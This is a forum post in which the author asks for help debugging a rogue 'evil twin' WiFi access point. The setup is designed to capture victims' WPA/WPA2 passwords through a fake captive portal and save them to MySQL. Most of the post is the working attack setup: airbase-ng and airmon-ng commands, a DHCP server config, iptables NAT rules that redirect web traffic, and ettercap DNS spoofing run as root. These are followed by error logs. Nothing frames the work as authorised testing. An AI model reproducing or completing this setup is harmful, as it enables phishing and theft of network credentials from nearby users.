Hello everyone!
I'm trying to create a wifi captive portal , no-upstream mode which captures wpa/wpa2 credentials. (using airbase-ng , isc-dhcp-server , ettercap)
There is an apache2 server running my captive portal and ettercap spoofing all network requests to a specific IP(that i set manually to eth0 interface , no ethernet cable connected) which is my apache2 at this point that holds the portal.
Credentials are getting saved into a MySQL database.
I'm having an integrated wifi adapter that uses an RTL8187 driver and has an RTL8187B chipset and a usb wifi adapter which is an EDUP EP-MS8515GS(model) and uses an RT2800usb driver and has an RT2870/3070 chipset. Both chipsets are long supported by aircrack-ng suite as far as i know , but both adapters misbehave.
This is my configuration.
dhcpd.conf
Code:
ddns-update-style interim;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.1.255;
option routers 192.168.1.129;
option domain-name-servers 192.168.1.129;
range 192.168.1.130 192.168.1.140;
}
wlan0 is my integrated rtl8187b wifi adapter
wlan1 is my ralink rt2870/3070 wifi adapter
wlan0mon is my wlan0 interface in monitor mode
wlan1mon is my wlan1 interface in monitor mode
Procedure:
Code:
service network-manager stop
ifconfig wlan1 down
airmon-ng start wlan1
airmon-ng check kill
airbase-ng -c 1 --essid "Test" wlan1mon
iptables configuration
Code:
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.13:80 (apache2-captive portal local IP addr)
iptables -t nat -A POSTROUTING -j MASQUERADE
echo "1" > /proc/sys/net/ipv4/ip_forward
Access Point configuration
Code:
ifconfig at0 up
ifconfig at0 192.168.1.129 netmask 255.255.255.128
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start
Ettercap configuration
etter.dns entries
etter.conf configuration
Code:
[privs]
ec_uid = 0
ec_gid = 0
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
Running ettercap to dns_spoof all requests to my apache2 captive portal
Code:
ettercap -Tqi at0 -P dns_spoof
Now everything is set up and ready. Instead , both adapters using the settings i pasted above , misbehave.
To start with, on airbase-ng terminal window there is a whole sequence of
Code:
17:14:20 Client 00:01:02:03:04:05 associated (unencrypted) to ESSID: "Test"
17:14:20 Client 00:01:02:03:04:05 associated (unencrypted) to ESSID: "Test"
17:14:20 Client 00:01:02:03:04:05 associated (unencrypted) to ESSID: "Test"
17:14:20 Client 00:01:02:03:04:05 associated (unencrypted) to ESSID: "Test"
17:14:20 Client 00:01:02:03:04:05 associated (unencrypted) to ESSID: "Test"
could be more than 150-200 lines of this sequence and this never ends.It keeps on for as long as the client is connected to my AP.
That actually tells me that client disconnects and reconnects all the time.No idea why this happens..
Next problem.Ettercap errors.
Again the same motive,
Code:
DHCP: [10:20:30:40:50:60] DISCOVER
DHCP: [10:20:30:40:50:60] DISCOVER
DHCP: [10:20:30:40:50:60] DISCOVER
DHCP: [10:20:30:40:50:60] DISCOVER (hundrends of these discovers)
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org"
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org"
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org"
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org"
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org"
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org" (hundrends of these DHCP lines as well)
DHCP: [10:20:30:40:50:60] REQUEST 192.168.1.130
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org"
DHCP: [10:20:30:40:50:60] REQUEST 192.168.1.130
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org"
DHCP: [10:20:30:40:50:60] REQUEST 192.168.1.130
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org"
DHCP: [10:20:30:40:50:60] REQUEST 192.168.1.130
DHCP: [192.168.1.129] ACK : 192.168.1.130 255.255.255.128 GW 192.168.1.129 DNS 192.168.1.129 "example.org" (same thing)
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable))
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable))
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable))
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable))
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable))
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable))
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable))
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable))
SEND L3 ERROR: 109 byte packet (0800:01) destined to 8.8.8.8 was not forwarded (libnet_write_raw_ipv4(): -1 bytes written (Network is unreachable)) (i guess the problem is hidden in these error lines?..or not?)
In the bottom line , even if the client manage to open my captive portal , there are many website design errors like images missing , forms are not at the position they had to be etc.
Could anyone please help out a bit here? this is pure madness , i'm out of ideas.
PS. My ethernet cable is not attached while using either adapters , integrated or usb one.
Thanks a lot in advance!
